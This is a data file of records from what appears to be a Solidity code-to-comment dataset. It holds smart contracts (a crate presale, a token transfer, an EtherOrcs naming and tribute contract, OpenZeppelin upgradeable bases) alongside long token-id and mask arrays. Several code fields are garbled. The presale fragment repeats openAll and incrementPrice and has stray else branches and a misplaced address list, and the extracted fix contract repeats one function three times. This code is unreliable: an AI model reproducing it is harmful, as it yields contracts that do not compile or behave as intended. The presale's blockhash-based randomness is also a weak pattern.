| migration functions migrate the data from the previous contract in stages all addresses are included for transparency and easy verification however addresses with no robots (i.e. failed transaction and never bought properly) have been commented out. to view the full list of state assignments, go to etherscan.io/address/{address} and you can view the verified | contract NewCratePreSale {
mapping (address => uint[]) public userToRobots;
function _migrate(uint _index) external onlyOwner {
bytes4 selector = bytes4(sha3("setData()"));
address a = migrators[_index];
require(a.delegatecall(selector));
}
0x72cc898de0a4eac49c46ccb990379099461342f6,
0xc3cc48da3b8168154e0f14bf0446c7a93613f0a7,
0x4cc96f2ddf6844323ae0d8461d418a4d473b9ac3,
0xa52bfcb5ff599e29ee2b9130f1575babaa27de0a,
0xe503b42aabda22974e2a8b75fa87e010e1b13584
];
address[6] migrators = [
function NewCratePreSale() public payable {
owner = msg.sender;
oldAppreciationRateWei = 100000000000000;
appreciationRateWei = oldAppreciationRateWei;
oldPrice = 232600000000000000;
currentPrice = oldPrice;
oldCratesSold = 1075;
cratesSold = oldCratesSold;
}
uint256 public appreciationRateWei;
uint32 public cratesSold;
uint256 public currentPrice;
uint256 public oldPrice;
uint256 public oldAppreciationRateWei;
uint32 public oldCratesSold;
mapping (address => uint[]) public addressToPurchasedBlocks;
mapping (address => uint) public expiredCrates;
function openAll() public {
uint len = addressToPurchasedBlocks[msg.sender].length;
require(len > 0);
uint8 count = 0;
for (uint i = len - 1; i >= 0 && len > i; i--) {
uint crateBlock = addressToPurchasedBlocks[msg.sender][i];
require(block.number > crateBlock);
var hash = block.blockhash(crateBlock);
if (uint(hash) != 0) {
uint rand = uint(keccak256(hash, msg.sender, i)) % (10 ** 20);
userToRobots[msg.sender].push(rand);
count++;
expiredCrates[msg.sender] += (i + 1);
break;
}
}
CratesOpened(msg.sender, count);
delete addressToPurchasedBlocks[msg.sender];
}
event CratesOpened(address indexed _from, uint8 _quantity);
function openAll() public {
uint len = addressToPurchasedBlocks[msg.sender].length;
require(len > 0);
uint8 count = 0;
for (uint i = len - 1; i >= 0 && len > i; i--) {
uint crateBlock = addressToPurchasedBlocks[msg.sender][i];
require(block.number > crateBlock);
var hash = block.blockhash(crateBlock);
if (uint(hash) != 0) {
uint rand = uint(keccak256(hash, msg.sender, i)) % (10 ** 20);
userToRobots[msg.sender].push(rand);
count++;
expiredCrates[msg.sender] += (i + 1);
break;
}
}
CratesOpened(msg.sender, count);
delete addressToPurchasedBlocks[msg.sender];
}
event CratesOpened(address indexed _from, uint8 _quantity);
function openAll() public {
uint len = addressToPurchasedBlocks[msg.sender].length;
require(len > 0);
uint8 count = 0;
for (uint i = len - 1; i >= 0 && len > i; i--) {
uint crateBlock = addressToPurchasedBlocks[msg.sender][i];
require(block.number > crateBlock);
var hash = block.blockhash(crateBlock);
if (uint(hash) != 0) {
uint rand = uint(keccak256(hash, msg.sender, i)) % (10 ** 20);
userToRobots[msg.sender].push(rand);
count++;
expiredCrates[msg.sender] += (i + 1);
break;
}
}
CratesOpened(msg.sender, count);
delete addressToPurchasedBlocks[msg.sender];
}
event CratesOpened(address indexed _from, uint8 _quantity);
} else {
event CratesPurchased(address indexed _from, uint8 _quantity);
function getPrice() view public returns (uint256) {
return currentPrice;
}
function getRobotCountForUser(address _user) external view returns(uint256) {
return userToRobots[_user].length;
}
function getRobotForUserByIndex(address _user, uint _index) external view returns(uint) {
return userToRobots[_user][_index];
}
function getRobotsForUser(address _user) view public returns (uint[]) {
return userToRobots[_user];
}
function getPendingCratesForUser(address _user) external view returns(uint[]) {
return addressToPurchasedBlocks[_user];
}
function getPendingCrateForUserByIndex(address _user, uint _index) external view returns(uint) {
return addressToPurchasedBlocks[_user][_index];
}
function getExpiredCratesForUser(address _user) external view returns(uint) {
return expiredCrates[_user];
}
function incrementPrice() private {
if ( currentPrice == 100000000000000000 ) {
appreciationRateWei = 200000000000000;
appreciationRateWei = 100000000000000;
appreciationRateWei = 50000000000000;
}
currentPrice += appreciationRateWei;
}
function incrementPrice() private {
if ( currentPrice == 100000000000000000 ) {
appreciationRateWei = 200000000000000;
appreciationRateWei = 100000000000000;
appreciationRateWei = 50000000000000;
}
currentPrice += appreciationRateWei;
}
} else if ( currentPrice == 200000000000000000) {
} else if (currentPrice == 300000000000000000) {
function purchaseCrates(uint8 _cratesToBuy) public payable whenNotPaused {
uint256 priceToPay = _calculatePayment(_cratesToBuy);
msg.sender.transfer(msg.value-priceToPay);
}
cratesSold += _cratesToBuy;
for (uint8 i = 0; i < _cratesToBuy; i++) {
incrementPrice();
addressToPurchasedBlocks[msg.sender].push(block.number);
}
CratesPurchased(msg.sender, _cratesToBuy);
}
| 12,806,713 | [
1,
15746,
4186,
13187,
326,
501,
628,
326,
2416,
6835,
316,
20298,
777,
6138,
854,
5849,
364,
27472,
471,
12779,
11805,
14025,
6138,
598,
1158,
29255,
261,
77,
18,
73,
18,
2535,
2492,
471,
5903,
800,
9540,
8214,
13,
1240,
2118,
31813,
596,
18,
358,
1476,
326,
1983,
666,
434,
919,
13610,
16,
1960,
358,
13750,
414,
4169,
18,
1594,
19,
2867,
4938,
2867,
97,
471,
1846,
848,
1476,
326,
13808,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
1166,
39,
5141,
1386,
30746,
288,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
63,
5717,
1071,
729,
774,
14444,
6968,
31,
7010,
203,
203,
203,
565,
445,
389,
22083,
12,
11890,
389,
1615,
13,
3903,
1338,
5541,
288,
203,
3639,
1731,
24,
3451,
273,
1731,
24,
12,
7819,
23,
2932,
542,
751,
1435,
7923,
1769,
203,
3639,
1758,
279,
273,
4196,
3062,
63,
67,
1615,
15533,
203,
3639,
2583,
12,
69,
18,
22216,
1991,
12,
9663,
10019,
203,
565,
289,
203,
3639,
374,
92,
9060,
952,
6675,
28,
323,
20,
69,
24,
73,
1077,
7616,
71,
8749,
952,
70,
2733,
4630,
7235,
20,
2733,
8749,
3437,
9452,
74,
26,
16,
203,
3639,
374,
6511,
23,
952,
8875,
2414,
23,
70,
28,
23329,
29003,
73,
20,
74,
3461,
17156,
3028,
8749,
71,
27,
69,
29,
5718,
3437,
74,
20,
69,
27,
16,
203,
3639,
374,
92,
24,
952,
10525,
74,
22,
449,
74,
26,
5193,
24,
1578,
23,
8906,
20,
72,
5193,
9498,
72,
24,
2643,
69,
24,
72,
24,
9036,
70,
29,
1077,
23,
16,
203,
3639,
374,
6995,
9401,
70,
7142,
70,
25,
1403,
25,
2733,
73,
5540,
1340,
22,
70,
29,
24417,
74,
3600,
5877,
70,
378,
7598,
5324,
323,
20,
69,
16,
203,
3639,
374,
6554,
3361,
23,
70,
9452,
69,
378,
2414,
3787,
29,
5608,
73,
22,
69,
28,
70,
5877,
507,
11035,
73,
23254,
73,
21,
70,
26612,
5193,
203,
565,
308,
31,
203,
377,
203,
565,
1758,
63,
26,
65,
4196,
3062,
273,
306,
203,
2
]
|
./partial_match/3/0xEd6675C2360FBB11e95b926985B3567D1099f4f9/sources/BLWTOKEN.sol | ------------------------------------------------------------------------ Transfer `tokens` from the `from` account to the `to` account The calling account must already have sufficient tokens approve(...)-d for spending from the `from` account and - From account must have sufficient balance to transfer - Spender must have sufficient allowance to transfer - 0 value transfers are allowed ------------------------------------------------------------------------ | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
| 5,316,674 | [
1,
29461,
12279,
1375,
7860,
68,
628,
326,
1375,
2080,
68,
2236,
358,
326,
1375,
869,
68,
2236,
1021,
4440,
2236,
1297,
1818,
1240,
18662,
2430,
6617,
537,
5825,
24950,
72,
364,
272,
9561,
628,
326,
1375,
2080,
68,
2236,
471,
300,
6338,
2236,
1297,
1240,
18662,
11013,
358,
7412,
300,
348,
1302,
264,
1297,
1240,
18662,
1699,
1359,
358,
7412,
300,
374,
460,
29375,
854,
2935,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
1265,
12,
2867,
628,
16,
1758,
358,
16,
2254,
2430,
13,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
324,
26488,
63,
2080,
65,
273,
4183,
1676,
12,
70,
26488,
63,
2080,
6487,
2430,
1769,
203,
3639,
2935,
63,
2080,
6362,
3576,
18,
15330,
65,
273,
4183,
1676,
12,
8151,
63,
2080,
6362,
3576,
18,
15330,
6487,
2430,
1769,
203,
3639,
324,
26488,
63,
869,
65,
273,
4183,
986,
12,
70,
26488,
63,
869,
6487,
2430,
1769,
203,
3639,
12279,
12,
2080,
16,
358,
16,
2430,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "../interfaces/Interfaces.sol";
contract HallOfChampions {
address implementation_;
address public admin;
ERC20Like public zug;
EtherOrcsLike public etherOrcs;
uint256 public namingCost;
// Name Storage Slots - Not the most efficient way to store it, but it works well enough
mapping (uint256 => string) private _firstNames;
mapping (uint256 => string) private _lastNames;
mapping (uint256 => uint256) public joined;
// Tribute Storage Slots
mapping (uint256 => uint256) public tributes;
mapping (uint256 => uint256) public timeAtTop;
mapping (uint256 => uint256) public topEnterTime;
mapping (uint256 => bool) public isTopFive;
// Arrays for easy retrieval
uint256[] champions;
uint256[5] topFive;
uint256 lowestIndex;
/*///////////////////////////////////////////////////////////////
VIEW FUNCTIONS
//////////////////////////////////////////////////////////////*/
function getName(uint256 orcId) public view returns(string memory){
// If not joined, return the boring name
if (joined[orcId] == 0) return string(abi.encodePacked("Orc #", _toString(orcId)));
// If Orc has only a fisrt name
if (bytes(_firstNames[orcId]).length > 0 && bytes(_lastNames[orcId]).length == 0)
return _firstNames[orcId];
// Ir Orc has only a last name
if (bytes(_firstNames[orcId]).length == 0 && bytes(_lastNames[orcId]).length > 0)
return _lastNames[orcId];
return string(abi.encodePacked(_firstNames[orcId], " ", _lastNames[orcId]));
}
function getChampions() external view returns (uint256[] memory ids, uint256[] memory timeSinceJoined, string[] memory names, uint256[] memory tributePaid) {
ids = champions;
timeSinceJoined = new uint256[](ids.length);
names = new string[](ids.length);
tributePaid = new uint256[](ids.length);
for (uint256 i = 0; i < ids.length; i++) {
tributePaid[i] = tributes[ids[i]];
timeSinceJoined[i] = block.timestamp - joined[ids[i]];
names[i] = getName(ids[i]);
}
}
function getAllChampions() external view returns(uint256[] memory) {
return champions;
}
function getTopFive() external view returns(uint256[5] memory) {
return topFive;
}
function timeAsChampion(uint256 id) external view returns(uint256 timeInSeconds) {
return timeAtTop[id] + (isTopFive[id] ? block.timestamp - topEnterTime[id] : 0);
}
/*///////////////////////////////////////////////////////////////
ADMIN FUNCTIONS
//////////////////////////////////////////////////////////////*/
function setNamingCost(uint256 newCost) external {
require(msg.sender == admin);
namingCost = newCost;
}
function setAddresses(address orcs_, address zug_) external {
require(msg.sender == admin);
etherOrcs = EtherOrcsLike(orcs_);
zug = ERC20Like(zug_);
}
function overrideName(uint256 orcId, string calldata newFirstName, string calldata newLastName) external {
require(msg.sender == admin);
_firstNames[orcId] = newFirstName;
_lastNames[orcId] = newLastName;
}
/*///////////////////////////////////////////////////////////////
STATE CHANGING FUNCTIONS
//////////////////////////////////////////////////////////////*/
function changeName(uint256 orcId, string memory firstName_, string memory lastName_) public {
require(orcId > 0 && orcId <= 5050, "invalid id");
(address owner, ,) = etherOrcs.activities(orcId);
require(msg.sender == owner || msg.sender == etherOrcs.ownerOf(orcId), "Not the orc owner");
uint256 firstLength = bytes(firstName_).length;
uint256 lastLength = bytes(lastName_).length;
require(firstLength > 0 || lastLength > 0, "Both names empty");
require(firstLength == 0 || validateName(firstName_), "Not a valid first name");
require(lastLength == 0 || validateName(lastName_), "Not a valid last name");
zug.burn(msg.sender, namingCost * 1 ether);
if (joined[orcId] == 0) {
champions.push(orcId);
joined[orcId] = block.timestamp;
}
_firstNames[orcId] = firstName_;
_lastNames[orcId] = lastName_;
}
function payTribute(uint256 orcId, uint256 amount) public {
require(orcId > 0 && orcId <= 5050, "invalid id");
require(joined[orcId] > 0, "Can't pay tribute to unnamed orc");
zug.burn(msg.sender, amount * 1 ether);
uint256 totalTribute = tributes[orcId] + amount;
// Update Storage
tributes[orcId] = totalTribute;
uint256 currentLower = tributes[topFive[lowestIndex]];
// This id will enter top 5
if (totalTribute > currentLower && !isTopFive[orcId]) {
// Replacing old orc
uint256 replacedOrc = topFive[lowestIndex];
isTopFive[replacedOrc] = false;
timeAtTop[replacedOrc] += block.timestamp - topEnterTime[replacedOrc];
topEnterTime[replacedOrc] = 0;
// Putting new orc on top
topFive[lowestIndex] = orcId;
isTopFive[orcId] = true;
topEnterTime[orcId] = block.timestamp;
}
_updateLowestIndex();
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPERS
//////////////////////////////////////////////////////////////*/
function _updateLowestIndex() internal {
uint256 lowestTribute = type(uint256).max;
uint256 lowestI = 0;
for (uint256 index = 0; index < topFive.length; index++) {
uint256 trib = tributes[topFive[index]];
if (trib < lowestTribute) {
lowestTribute = trib;
lowestI = index;
}
}
lowestIndex = lowestI;
}
// Helper function inspired by CyberKongz!
function validateName(string memory str) public pure returns (bool){
bytes memory b = bytes(str);
if(b.length < 1) return false;
if(b.length > 10) return false; // Cannot be longer than 10 characters
if(b[0] == 0x20) return false; // Leading space
if (b[b.length - 1] == 0x20) return false; // Trailing space
for(uint i; i<b.length; i++){
bytes1 char = b[i];
if(
!(char >= 0x30 && char <= 0x39) && //9-0
!(char >= 0x41 && char <= 0x5A) && //A-Z
!(char >= 0x61 && char <= 0x7A) //a-z
)
return false;
}
return true;
}
function _toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
contract HallOfChampionsFix {
address implementation_;
address admin;
ERC20Like zug;
EtherOrcsLike etherOrcs;
uint256 namingCost;
// Name Storage Slots - Not the most efficient way to store it, but it works well enough
mapping (uint256 => string) private _firstNames;
mapping (uint256 => string) private _lastNames;
mapping (uint256 => uint256) joined;
// Tribute Storage Slots
mapping (uint256 => uint256) tributes;
mapping (uint256 => uint256) timeAtTop;
mapping (uint256 => uint256) topEnterTime;
mapping (uint256 => bool) isTopFive;
// Arrays for easy retrieval
uint256[] champions;
uint256[5] topFive;
uint256 lowestIndex;
function fix() external {
require(msg.sender == admin);
topFive = [381,716,4,3,1532];
_updateLowestIndex();
implementation_ = 0x859a5b6B90a4D5CB433f61593C59f1c5Edc01977;
}
function _updateLowestIndex() internal {
uint256 lowestTribute = type(uint256).max;
uint256 lowestI = 0;
for (uint256 index = 0; index < topFive.length; index++) {
uint256 trib = tributes[topFive[index]];
if (trib < lowestTribute) {
lowestTribute = trib;
lowestI = index;
}
}
lowestIndex = lowestI;
}
} | Name Storage Slots - Not the most efficient way to store it, but it works well enough Tribute Storage Slots Arrays for easy retrieval | contract HallOfChampionsFix {
address implementation_;
address admin;
ERC20Like zug;
EtherOrcsLike etherOrcs;
uint256 namingCost;
mapping (uint256 => string) private _firstNames;
mapping (uint256 => string) private _lastNames;
mapping (uint256 => uint256) joined;
mapping (uint256 => uint256) tributes;
mapping (uint256 => uint256) timeAtTop;
mapping (uint256 => uint256) topEnterTime;
mapping (uint256 => bool) isTopFive;
uint256[] champions;
uint256[5] topFive;
uint256 lowestIndex;
function fix() external {
require(msg.sender == admin);
topFive = [381,716,4,3,1532];
_updateLowestIndex();
implementation_ = 0x859a5b6B90a4D5CB433f61593C59f1c5Edc01977;
}
function _updateLowestIndex() internal {
uint256 lowestTribute = type(uint256).max;
uint256 lowestI = 0;
for (uint256 index = 0; index < topFive.length; index++) {
uint256 trib = tributes[topFive[index]];
if (trib < lowestTribute) {
lowestTribute = trib;
lowestI = index;
}
}
lowestIndex = lowestI;
}
function _updateLowestIndex() internal {
uint256 lowestTribute = type(uint256).max;
uint256 lowestI = 0;
for (uint256 index = 0; index < topFive.length; index++) {
uint256 trib = tributes[topFive[index]];
if (trib < lowestTribute) {
lowestTribute = trib;
lowestI = index;
}
}
lowestIndex = lowestI;
}
function _updateLowestIndex() internal {
uint256 lowestTribute = type(uint256).max;
uint256 lowestI = 0;
for (uint256 index = 0; index < topFive.length; index++) {
uint256 trib = tributes[topFive[index]];
if (trib < lowestTribute) {
lowestTribute = trib;
lowestI = index;
}
}
lowestIndex = lowestI;
}
} | 13,031,231 | [
1,
461,
5235,
9708,
6968,
300,
2288,
326,
4486,
14382,
4031,
358,
1707,
518,
16,
1496,
518,
6330,
5492,
7304,
840,
495,
624,
5235,
9708,
6968,
5647,
364,
12779,
22613,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
670,
454,
951,
782,
931,
1115,
8585,
288,
203,
203,
202,
2867,
3639,
4471,
67,
31,
203,
565,
1758,
225,
3981,
31,
7010,
377,
203,
565,
4232,
39,
3462,
8804,
565,
998,
637,
31,
203,
565,
512,
1136,
1162,
2143,
8804,
225,
2437,
1162,
2143,
31,
203,
377,
203,
565,
2254,
5034,
14634,
8018,
31,
7010,
203,
202,
6770,
261,
11890,
5034,
516,
533,
13,
225,
3238,
389,
3645,
1557,
31,
203,
202,
6770,
261,
11890,
5034,
516,
533,
13,
225,
3238,
389,
2722,
1557,
31,
203,
202,
6770,
261,
11890,
5034,
516,
2254,
5034,
13,
225,
12114,
31,
203,
203,
565,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
433,
495,
993,
31,
203,
202,
6770,
261,
11890,
5034,
516,
2254,
5034,
13,
813,
861,
3401,
31,
203,
202,
6770,
261,
11890,
5034,
516,
2254,
5034,
13,
1760,
10237,
950,
31,
203,
202,
6770,
261,
11890,
5034,
516,
1426,
13,
565,
353,
3401,
42,
688,
31,
203,
203,
565,
2254,
5034,
8526,
225,
462,
931,
1115,
31,
203,
565,
2254,
5034,
63,
25,
65,
1760,
42,
688,
31,
203,
203,
565,
2254,
5034,
11981,
1016,
31,
203,
203,
202,
915,
2917,
1435,
3903,
288,
203,
202,
202,
6528,
12,
3576,
18,
15330,
422,
3981,
1769,
203,
203,
202,
202,
3669,
42,
688,
273,
306,
7414,
21,
16,
27,
2313,
16,
24,
16,
23,
16,
3600,
1578,
15533,
203,
202,
202,
67,
2725,
10520,
395,
1016,
5621,
203,
202,
202,
30810,
67,
273,
374,
92,
28,
6162,
69,
25,
70,
26,
38,
9349,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
